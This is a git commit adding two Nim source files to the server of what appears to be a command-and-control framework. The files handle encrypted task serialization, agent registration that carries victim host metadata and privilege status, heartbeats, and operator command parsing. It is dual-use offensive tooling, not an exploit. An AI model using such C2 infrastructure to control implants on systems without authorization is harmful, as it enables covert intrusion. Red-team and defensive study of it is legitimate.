Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration.
This commit is contained in:
142
src/server/protocol/packer.nim
Normal file
142
src/server/protocol/packer.nim
Normal file
@@ -0,0 +1,142 @@
|
||||
import strutils, strformat, streams, times, tables
|
||||
import ../utils
|
||||
import ../../common/[types, utils, serialize, sequence, crypto]
|
||||
|
||||
proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize payload
|
||||
packer
|
||||
.add(task.taskId)
|
||||
.add(task.listenerId)
|
||||
.add(task.timestamp)
|
||||
.add(task.command)
|
||||
.add(task.argCount)
|
||||
|
||||
for arg in task.args:
|
||||
packer.addArgument(arg)
|
||||
|
||||
let payload = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Encrypt payload body
|
||||
let (encData, gmac) = encrypt(cq.agents[Uuid.toString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
task.header.gmac = gmac
|
||||
|
||||
# Serialize header
|
||||
let header = packer.serializeHeader(task.header, uint32(payload.len))
|
||||
|
||||
return header & encData
|
||||
|
||||
proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(resultData))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_RESULT))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
listenerId = unpacker.getUint32()
|
||||
timestamp = unpacker.getUint32()
|
||||
command = unpacker.getUint16()
|
||||
status = unpacker.getUint8()
|
||||
resultType = unpacker.getUint8()
|
||||
length = unpacker.getUint32()
|
||||
data = unpacker.getBytes(int(length))
|
||||
|
||||
return TaskResult(
|
||||
header: header,
|
||||
taskId: taskId,
|
||||
listenerId: listenerId,
|
||||
timestamp: timestamp,
|
||||
command: command,
|
||||
status: status,
|
||||
resultType: resultType,
|
||||
length: length,
|
||||
data: data
|
||||
)
|
||||
|
||||
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
let header= unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_REGISTER))
|
||||
|
||||
# Key exchange
|
||||
let agentPublicKey = unpacker.getKey()
|
||||
let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey)
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
listenerId = unpacker.getUint32()
|
||||
username = unpacker.getVarLengthMetadata()
|
||||
hostname = unpacker.getVarLengthMetadata()
|
||||
domain = unpacker.getVarLengthMetadata()
|
||||
ip = unpacker.getVarLengthMetadata()
|
||||
os = unpacker.getVarLengthMetadata()
|
||||
process = unpacker.getVarLengthMetadata()
|
||||
pid = unpacker.getUint32()
|
||||
isElevated = unpacker.getUint8()
|
||||
sleep = unpacker.getUint32()
|
||||
|
||||
return Agent(
|
||||
agentId: Uuid.toString(header.agentId),
|
||||
listenerId: Uuid.toString(listenerId),
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
os: os,
|
||||
process: process,
|
||||
pid: int(pid),
|
||||
elevated: isElevated != 0,
|
||||
sleep: int(sleep),
|
||||
tasks: @[],
|
||||
firstCheckin: now(),
|
||||
latestCheckin: now(),
|
||||
sessionKey: sessionKey
|
||||
)
|
||||
|
||||
proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
|
||||
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_HEARTBEAT))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
return Heartbeat(
|
||||
header: header,
|
||||
listenerId: unpacker.getUint32(),
|
||||
timestamp: unpacker.getUint32()
|
||||
)
|
||||
116
src/server/protocol/parser.nim
Normal file
116
src/server/protocol/parser.nim
Normal file
@@ -0,0 +1,116 @@
|
||||
import strutils, strformat, times
|
||||
|
||||
import ../utils
|
||||
import ../../common/[types, utils, sequence, crypto]
|
||||
|
||||
proc parseInput*(input: string): seq[string] =
|
||||
var i = 0
|
||||
while i < input.len:
|
||||
|
||||
# Skip whitespaces/tabs
|
||||
while i < input.len and input[i] in {' ', '\t'}:
|
||||
inc i
|
||||
if i >= input.len:
|
||||
break
|
||||
|
||||
var arg = ""
|
||||
if input[i] == '"':
|
||||
# Parse quoted argument
|
||||
inc i # Skip opening quote
|
||||
|
||||
# Add parsed argument when quotation is closed
|
||||
while i < input.len and input[i] != '"':
|
||||
arg.add(input[i])
|
||||
inc i
|
||||
|
||||
if i < input.len:
|
||||
inc i # Skip closing quote
|
||||
|
||||
else:
|
||||
while i < input.len and input[i] notin {' ', '\t'}:
|
||||
arg.add(input[i])
|
||||
inc i
|
||||
|
||||
# Add argument to returned result
|
||||
if arg.len > 0: result.add(arg)
|
||||
|
||||
proc parseArgument*(argument: Argument, value: string): TaskArg =
|
||||
|
||||
var result: TaskArg
|
||||
result.argType = cast[uint8](argument.argumentType)
|
||||
|
||||
case argument.argumentType:
|
||||
|
||||
of INT:
|
||||
# Length: 4 bytes
|
||||
let intValue = cast[uint32](parseUInt(value))
|
||||
result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
|
||||
|
||||
of LONG:
|
||||
# Length: 8 bytes
|
||||
var data = newSeq[byte](8)
|
||||
let intValue = cast[uint64](parseUInt(value))
|
||||
for i in 0..7:
|
||||
data[i] = byte((intValue shr (i * 8)) and 0xFF)
|
||||
result.data = data
|
||||
|
||||
of BOOL:
|
||||
# Length: 1 byte
|
||||
if value == "true":
|
||||
result.data = @[1'u8]
|
||||
elif value == "false":
|
||||
result.data = @[0'u8]
|
||||
else:
|
||||
raise newException(ValueError, "Invalid value for boolean argument.")
|
||||
|
||||
of STRING:
|
||||
result.data = cast[seq[byte]](value)
|
||||
|
||||
of BINARY:
|
||||
# Read file as binary stream
|
||||
|
||||
discard
|
||||
|
||||
return result
|
||||
|
||||
proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
||||
|
||||
# Construct the task payload prefix
|
||||
var task: Task
|
||||
task.taskId = string.toUuid(generateUUID())
|
||||
task.listenerId = string.toUuid(cq.interactAgent.listenerId)
|
||||
task.timestamp = uint32(now().toTime().toUnix())
|
||||
task.command = cast[uint16](command.commandType)
|
||||
task.argCount = uint8(arguments.len)
|
||||
|
||||
var taskArgs: seq[TaskArg]
|
||||
|
||||
# Add the task arguments
|
||||
for i, arg in command.arguments:
|
||||
if i < arguments.len:
|
||||
taskArgs.add(parseArgument(arg, arguments[i]))
|
||||
else:
|
||||
if arg.isRequired:
|
||||
raise newException(ValueError, "Missing required argument.")
|
||||
else:
|
||||
# Handle optional argument
|
||||
taskArgs.add(parseArgument(arg, ""))
|
||||
|
||||
task.args = taskArgs
|
||||
|
||||
# Construct the header
|
||||
var taskHeader: Header
|
||||
taskHeader.magic = MAGIC
|
||||
taskHeader.version = VERSION
|
||||
taskHeader.packetType = cast[uint8](MSG_TASK)
|
||||
taskHeader.flags = cast[uint16](FLAG_ENCRYPTED)
|
||||
taskHeader.size = 0'u32
|
||||
taskHeader.agentId = string.toUuid(cq.interactAgent.agentId)
|
||||
taskHeader.seqNr = nextSequence(taskHeader.agentId)
|
||||
taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM
|
||||
taskHeader.gmac = default(AuthenticationTag)
|
||||
|
||||
task.header = taskHeader
|
||||
|
||||
# Return the task object for serialization
|
||||
return task
|
||||
Reference in New Issue
Block a user